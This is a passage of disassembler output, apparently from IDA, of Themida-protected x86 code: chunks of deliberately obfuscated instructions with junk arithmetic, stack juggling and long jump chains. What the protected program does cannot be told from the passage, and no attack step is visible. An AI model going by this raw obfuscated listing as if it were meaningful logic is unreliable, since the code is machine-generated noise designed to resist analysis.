loc_551616:				; CODE XREF: sub_5554E9+3j
		push	eax
		push	ecx
		mov	ch, bl
		jmp	loc_552A74
; END OF FUNCTION CHUNK	FOR sub_5554E9
; ---------------------------------------------------------------------------


loc_55161F:				; CODE XREF: Themida_:00553411j
		add	ecx, 19725B5Dh
		sub	ecx, ebp
		sub	ecx, 19725B5Dh
		jmp	loc_557995
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556B0D


loc_551632:				; CODE XREF: sub_556B0D+36DEj
		pop	eax
		sub	edi, 4
		jmp	loc_559B11
; END OF FUNCTION CHUNK	FOR sub_556B0D

; =============== S U B	R O U T	I N E =======================================



sub_55163B	proc near		; CODE XREF: sub_55D9E1-5ABDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005520A0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00553C80 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005546B9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005558C7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055656A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00556C07 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556C3E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00556FC9 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00557F38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00558ADC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00558F03 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055960D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055AB4D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055BF03 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055BF2B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055BF64 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055CCB2 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055D61B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055D812 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055DC27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055DDAF SIZE 00000016 BYTES

		push	ebp
		mov	ebp, 3DFC0BD4h
		add	edx, ebp
		jmp	loc_55AB4D
sub_55163B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_551648:				; CODE XREF: sub_55CFFC-9737j
		mov	edx, 2
		add	ecx, 48555B57h
		add	ecx, edx
		sub	ecx, 48555B57h
		push	[esp+8+var_8]
		pop	edx
		push	edx
		jmp	loc_555816
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_551665:				; CODE XREF: sub_55D40D-10A6j
		push	eax
		mov	eax, 15150799h
		dec	eax
		shl	eax, 4
		jmp	loc_55947F
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_551674:				; CODE XREF: sub_556BCD+7294j
		sub	al, cl
		add	al, 2
		mov	ecx, [esp+0]
		add	esp, 4
		sub	esp, 2
		mov	[esp+0], dx
		push	eax
		mov	al, 6Ch
		neg	al
		push	ecx
		mov	cl, 0CAh
		add	cl, 0FFh
		and	cl, 0DAh
		not	cl
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	ah, 0C2h
		and	cl, ah
		pop	eax
		push	ax
		jmp	loc_551FA9
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_5516B0:				; CODE XREF: sub_554085-153Aj
		push	1CBFh
		jmp	loc_55AB1E
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5516BA:				; CODE XREF: sub_55CE17-B1D1j
		xchg	esi, [esp+0]
		jmp	loc_556291
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_5516C2:				; CODE XREF: Themida_:0055222Dj
		mov	ebp, 711527C5h
		and	ebx, ebp
		pop	ebp
		or	ebx, 23264B8Ch
		dec	ebx
		jmp	loc_55BB54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5516D6:				; CODE XREF: sub_55ABF6-1D1Cj
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	sub_55A167
		sub	esp, 4
		jmp	loc_554957
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5516EC:				; CODE XREF: Themida_:0055D0B5j
		mov	bp, 8E97h
		jmp	loc_5540CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_5516F5:				; CODE XREF: sub_55AE3A-14C8j
		and	ah, 8
		sub	ah, 0C8h
		jmp	loc_55C25A
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_551700:				; CODE XREF: Themida_:00557CF5j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55B558
; ---------------------------------------------------------------------------


loc_55170D:				; CODE XREF: Themida_:00554A29j
		pop	eax
		jmp	loc_5577E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_551713:				; CODE XREF: sub_55AE3A-F03j
		sub	al, cl
		jmp	loc_553091
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55171A:				; CODE XREF: sub_55ABF6+1BC3j
		add	al, 0F5h
		add	al, bh
		sub	al, 0F5h
		add	al, 61h
		mov	bx, word ptr [esp-8+arg_4]
		add	esp, 2
		add	al, 0Ch
		pop	bx
		add	bl, 2Ch
		jmp	loc_55CFC4
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_551738:				; CODE XREF: sub_55326E+3083j
		mov	[esp+0], edi
		mov	edi, 23B27718h
		neg	edi
		or	edi, 1E781E27h
		and	edi, 5F053973h
		shl	edi, 1
		add	edi, 0EE582731h
		sub	edx, edi
		pop	edi
		mov	ebx, edx
		pop	edx
		xor	edx, ebx
		pop	ebx
		or	ecx, ecx
		jz	loc_556AB5
		push	0C49h
		mov	[esp-8+arg_4], esp
		push	ecx
		jmp	loc_554674
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_551775:				; CODE XREF: sub_551F97+4875j
		mov	dx, word ptr [esp+6+var_6]
		add	esp, 2
		jmp	loc_559E4B
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_551784:				; CODE XREF: Themida_:00559B23j
		push	ebp
		mov	ebp, 7DAB3648h
		jmp	loc_5525C8

; =============== S U B	R O U T	I N E =======================================



sub_55178F	proc near		; CODE XREF: sub_55ABF6+19DCj

arg_0		= word ptr  4

; FUNCTION CHUNK AT 005535E8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055D314 SIZE 00000039 BYTES

		push	ebx
		jmp	loc_5535E8
sub_55178F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_551795:				; CODE XREF: sub_551F97+688Ej
		push	esp
		jmp	loc_555D4B
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55179B:				; CODE XREF: sub_558326-4D06j
		add	edx, 0E27A8959h
		or	edi, edx
		pop	edx
		sub	edi, 84F2D16Dh
		jmp	loc_55893B
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_5517AF:				; CODE XREF: Themida_:005520CAj
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 38h
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 2
		mov	[esp], dx
		push	eax
		push	44C0h
		jmp	loc_556B04
; ---------------------------------------------------------------------------


loc_5517D5:				; CODE XREF: Themida_:0055B3C3j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		inc	edx
		shl	edx, 5
		or	edx, 1DC914F0h
		not	edx
		jmp	loc_556BDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_5517ED:				; CODE XREF: sub_55D40D+4C9j
		mov	[esp+8+var_8], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 5AD82BDAh
		jmp	loc_557541
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------


loc_551809:				; CODE XREF: Themida_:00557C72j
		mov	cl, 0F5h
		mov	dl, cl
		pop	ecx
		add	bh, 1Bh
		sub	bh, dl
		sub	bh, 1Bh
		pop	dx
		jmp	loc_558300
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_55181D:				; CODE XREF: sub_55A4DA+2F43j
		add	ebx, 2331550Bh
		add	ebx, 48C50C53h
		push	238Bh
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_558688
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_551836:				; CODE XREF: Themida_:0055A39Ej
		pop	ecx
		neg	esi
		push	edi
		mov	edi, 626903B4h
		sub	edi, 0FEF6C847h
		sub	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_559BF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551862:				; CODE XREF: sub_55ABF6-302Dj
		pop	esi
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], ebx
		push	[esp-0Eh+arg_C+2]
		mov	ebx, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_55DD69
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_551878:				; CODE XREF: Themida_:00554DA2j
		mov	[esp], ecx
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_551880:				; CODE XREF: Themida_:005546DFj
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_557FD5
; ---------------------------------------------------------------------------


loc_551893:				; CODE XREF: Themida_:00558F2Dj
		push	esi
		mov	esi, 7FD75E79h
		sub	esi, 7FD75E75h
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55BCC9
; ---------------------------------------------------------------------------


loc_5518AD:				; CODE XREF: Themida_:00554794j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5593F2
; ---------------------------------------------------------------------------


loc_5518BB:				; CODE XREF: Themida_:0055AFE3j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		push	edx
		mov	edx, 4
		mov	ecx, edx
		jmp	loc_555378
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_5518D4:				; CODE XREF: sub_55D0F3-66B5j
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_555158
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553ACA


loc_5518E1:				; CODE XREF: sub_553ACA+8D04j
		xchg	ecx, [esp+4+var_4]
		jmp	loc_55AD81
; END OF FUNCTION CHUNK	FOR sub_553ACA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5518E9:				; CODE XREF: sub_55ABF6+67j
		mov	ebx, esp
		push	edi
		jmp	loc_556BBA
; ---------------------------------------------------------------------------


loc_5518F1:				; CODE XREF: sub_55ABF6+1AB2j
		pop	esp
		mov	[esp-0Eh+arg_8+2], eax
		mov	eax, 0D02596Fh
		xor	eax, 12620012h
		push	3F8Fh
		jmp	loc_55BECA
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_551909:				; CODE XREF: Themida_:005535E3j
		add	esp, 4
		jmp	loc_55BBA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551914:				; CODE XREF: sub_55ABF6+1A0j
		shr	edx, 5
		sub	edx, 5EE677DDh
		sub	edx, 0C81992D4h
		sub	ecx, edx
		pop	edx
		mov	edx, ecx
		jmp	loc_553DD2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55802B


loc_55192D:				; CODE XREF: sub_55802B+37E4j
		mov	ebx, 36836273h
		push	5A56h
		jmp	loc_55AB99
; END OF FUNCTION CHUNK	FOR sub_55802B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55193C:				; CODE XREF: sub_552215+97E9j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_552525
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551952:				; CODE XREF: sub_55ABF6+E6j
		and	edi, ecx
		jmp	loc_55DBEA
; ---------------------------------------------------------------------------


loc_551959:				; CODE XREF: sub_55ABF6+12B3j
		push	eax
		mov	ah, 60h
		and	ah, 0D7h
		shr	ah, 8
		shl	ah, 5
		add	ah, 0Ah
		not	ah
		jmp	loc_55BDD2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556901


loc_55196F:				; CODE XREF: sub_556901+35DBj
		xor	eax, 0FB2EB30Bh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		push	ecx
		push	[esp+arg_0]
		jmp	loc_557FFA
; END OF FUNCTION CHUNK	FOR sub_556901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551987:				; CODE XREF: sub_55ABF6-211Fj
		push	5DDDh
		mov	[esp-6+arg_0+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_558B74
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5519A0:				; CODE XREF: Themida_:00555323j
		pop	eax
		jmp	loc_5593B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_5519A6:				; CODE XREF: sub_55D40D-8DD2j
		push	eax
		push	esi
		mov	esi, 2E1D5BACh
		mov	eax, 0D1E2A458h
		jmp	loc_55C352
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_5519B7:				; CODE XREF: sub_556BCD-4A5Ej
		push	dx
		mov	dh, al
		jmp	loc_559DF4
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5519C0:				; CODE XREF: sub_55ABF6-82D3j
		push	edx
		jmp	loc_554662
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_5519C6:				; CODE XREF: Themida_:005583B2j
		xor	al, ch
		xor	ch, al
		neg	ch
		push	eax
		mov	al, 6Eh
		add	ch, al
		jmp	loc_55D887
; ---------------------------------------------------------------------------


loc_5519D6:				; CODE XREF: Themida_:0055C97Bj
		xor	ebx, 3B3F174Ah
		xor	ebx, 0E98841DEh
		jmp	loc_552013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5519E7:				; CODE XREF: sub_55ABF6-1AC1j
		xor	edx, 22E81F48h
		xor	edx, 0D00943E1h
		add	eax, edx
		pop	edx
		dec	eax
		neg	eax
		jmp	loc_553F4C
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DB1


loc_5519FE:				; CODE XREF: sub_572DB1-1F464j
		and	dh, 3Ch
		sub	dh, 7Fh
		and	bh, dh
		pop	edx
		inc	bh
		dec	bh
		shr	bh, 5
		xor	bh, 5Fh
		sub	al, bh
		jmp	loc_557DE4
; END OF FUNCTION CHUNK	FOR sub_572DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D1D


loc_551A18:				; CODE XREF: sub_559D1D-6B6Aj
		add	ecx, ebx
		push	[esp+0Ch+var_C]
		pop	ebx
		push	ecx
		push	esp
		jmp	loc_557B01
; END OF FUNCTION CHUNK	FOR sub_559D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_551A25:				; CODE XREF: sub_559249-439Aj
		add	ebx, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		add	ebx, 1F650EFh
		and	ebx, 2C7A19BCh
		sub	ebx, 28680004h
		sub	esp, 4
		jmp	loc_5539FF
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BEDA


loc_551A4A:				; CODE XREF: sub_55BEDA-1A2Ej
		dec	ecx
		sub	ecx, 73DA2E6Ch
		jmp	loc_552C7D
; END OF FUNCTION CHUNK	FOR sub_55BEDA
; ---------------------------------------------------------------------------


loc_551A56:				; CODE XREF: Themida_:0055C983j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		bswap	eax
		push	1E57h
		mov	[esp], eax
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_551A6E:				; CODE XREF: Themida_:0055B40Bj
		push	ebp
		mov	ebp, 1DC02726h
		sub	ebp, 0E519B23Ah
		add	edi, ebp
		pop	ebp
		add	edi, 17BD274Eh
		add	edi, 65400A91h
		add	edi, edx
		sub	edi, 65400A91h
		push	esi
		push	5CBE0224h
		pop	esi
		sub	esi, 0A500178h
		add	esi, 0C54F26A2h
		sub	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55CD31
; ---------------------------------------------------------------------------


loc_551AB5:				; CODE XREF: Themida_:005521C4j
		pop	esp
		mov	[esp], edx
		jmp	loc_55416C
; ---------------------------------------------------------------------------


loc_551ABE:				; CODE XREF: Themida_:005527FFj
		sub	bl, al
		sub	bl, 0FBh
		sub	bl, 39h
		push	edx
		push	eax
		mov	al, 0F0h
		mov	dh, 24h
		xor	dh, al
		pop	eax
		sub	bl, 0C2h
		sub	bl, dh
		add	bl, 0C2h
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5542AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_551AEC:				; CODE XREF: sub_55AABB-21D7j
		pop	eax
		jmp	loc_5562A7
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556E4D


loc_551AF2:				; CODE XREF: sub_556E4D+14j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebp, 652B1284h
		add	ebp, ebx
		push	edx
		jmp	loc_55274F
; END OF FUNCTION CHUNK	FOR sub_556E4D
; ---------------------------------------------------------------------------


loc_551B09:				; CODE XREF: Themida_:0055C2A2j
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 0BAh
		jmp	loc_55BF37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_551B1C:				; CODE XREF: sub_557D5E+8j
		pop	ebx
		jmp	loc_552F2E
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_551B22:				; CODE XREF: sub_55389F-1279j
		mov	eax, 0D643918h
		mov	ecx, eax
		jmp	loc_55B02E
; END OF FUNCTION CHUNK	FOR sub_55389F

; =============== S U B	R O U T	I N E =======================================



sub_551B2E	proc near		; CODE XREF: sub_559CF7-29ADj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00556E32 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00559323 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055CEDA SIZE 0000000D BYTES

		sub	esp, 4
		jmp	loc_55CEDA
sub_551B2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_551B36	proc near		; DATA XREF: Themida_:00551214o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00558233 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055D873 SIZE 0000000A BYTES

		mov	ax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		pop	ecx
		jmp	loc_558233
sub_551B36	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_551B57:				; CODE XREF: sub_55910B+2271j
		pop	ecx
		jmp	loc_556158
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_551B5D:				; CODE XREF: Themida_:00559944j
		push	ebp
		mov	ebp, 24594147h
		jmp	loc_55CD7D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		push	edi
		mov	edi, 4
		push	edx
		jmp	loc_55352D
; ---------------------------------------------------------------------------


loc_551B7C:				; CODE XREF: Themida_:00556AFFj
		mov	[esp], ecx
		push	5A1Eh
		jmp	loc_55AAFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_551B89:				; CODE XREF: sub_5523E1+9A2Ej
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_557648
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE3A


loc_551B98:				; CODE XREF: sub_55AE3A+24C4j
		xor	al, dh
		pop	edx
		push	small 5893h
		mov	[esp+0], dx
		push	ebx
		push	eax
		jmp	loc_556F17
; END OF FUNCTION CHUNK	FOR sub_55AE3A
; ---------------------------------------------------------------------------


loc_551BAA:				; CODE XREF: Themida_:0055BD62j
		not	edi
		xor	edi, 0D01C8DCFh
		sub	eax, 59D42044h
		sub	eax, 3C38738Ch
		jmp	loc_55A52E
; ---------------------------------------------------------------------------


loc_551BC1:				; CODE XREF: Themida_:00556953j
		push	ecx
		mov	ecx, 3C0C2B75h
		sub	ebp, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_551BE0:				; CODE XREF: sub_557D5E+2261j
		shr	edi, 8
		jmp	loc_5590A7
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557093


loc_551BE8:				; CODE XREF: sub_557093-3D06j
		add	ebx, edi
		pop	edi
		jmp	sub_557730
; END OF FUNCTION CHUNK	FOR sub_557093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_551BF0:				; CODE XREF: sub_559249-5EEEj
		mov	[esp+10h+var_10], esi
		jmp	loc_553D95
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_551BF8:				; CODE XREF: sub_55389F+425Dj
		mov	esi, [esp+8+var_8]
		add	esp, 4
		add	edx, 4
		jmp	loc_55DE15
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_551C09:				; CODE XREF: sub_55CE17-9110j
		sub	ebx, ebp
		mov	ebp, [esp+0]
		push	ebp
		jmp	loc_552E87
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_551C14:				; CODE XREF: sub_5546E4+7D95j
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		imul	cx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_555F5E
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_551C3A:				; CODE XREF: sub_55CE17-6FF4j
		add	esi, 4
		sub	esi, 4
		jmp	loc_5516BA
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_5514E3

; =============== S U B	R O U T	I N E =======================================



sub_551C53	proc near		; DATA XREF: Themida_:00551264o

; FUNCTION CHUNK AT 00557A8A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005596B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055A6D2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055D9D5 SIZE 0000000C BYTES

		lodsb
		push	ebx
		push	ecx
		mov	ch, 4Eh
		jmp	loc_55A6D2
sub_551C53	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555211


loc_551C5D:				; CODE XREF: sub_555211+7814j
		xor	ebx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebx
		xor	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		jmp	loc_55CB61
; END OF FUNCTION CHUNK	FOR sub_555211
; ---------------------------------------------------------------------------


loc_551C74:				; CODE XREF: Themida_:005589F6j
		push	eax
		mov	eax, 7CB75500h
		neg	eax
		shl	eax, 5
		add	eax, 0CCE2A7E9h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		pop	ebp
		push	22ADh
		mov	[esp], ebx
		push	edx
		mov	edx, 2
		mov	ebx, edx
		pop	edx
		add	eax, ebx
		pop	ebx
		jmp	loc_55C865
; ---------------------------------------------------------------------------


loc_551CAC:				; CODE XREF: Themida_:005520FEj
		mov	[esp], ecx
		mov	ecx, 77174735h
		jmp	loc_5527AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_551CB9:				; CODE XREF: sub_559249+1FBj
		sub	ecx, 6F577970h
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		push	4635h
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_5521C9
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_551CE4:				; CODE XREF: sub_55D0F3+42j
		add	esi, 51740A07h
		dec	esi
		sub	esi, 0A0F6318Dh
		jmp	loc_553ED3
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_551CF6:				; CODE XREF: sub_55B62C-8484j
		add	ebp, 11027771h
		not	ebp
		or	ebp, 3FF1054Eh
		sub	ebp, 0BFFB47CCh
		jmp	loc_55C535
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_551D0F:				; CODE XREF: sub_554085-17Dj
		sub	bl, ah
		pop	ax
		sub	bl, al
		push	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55CBCE
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------


loc_551D24:				; CODE XREF: Themida_:00553D26j
		add	eax, ecx
		jmp	loc_5581C8
; ---------------------------------------------------------------------------


loc_551D2B:				; CODE XREF: Themida_:00556BA8j
		add	[esp+0Ch], esi
		jmp	loc_55D5FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554937


loc_551D34:				; CODE XREF: sub_554937+Ej
		sub	ax, bx
		sub	ax, 5194h
		add	ax, 1978h
		sub	esp, 2
		mov	[esp+4+var_4], cx
		jmp	sub_559977
; END OF FUNCTION CHUNK	FOR sub_554937
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_551D4E:				; CODE XREF: sub_55ABF6-2071j
		xor	eax, [esp+0]
		jmp	loc_55ABB4
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_551D56:				; CODE XREF: sub_55BB30-73F6j
		dec	eax
		jmp	loc_55773A
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------


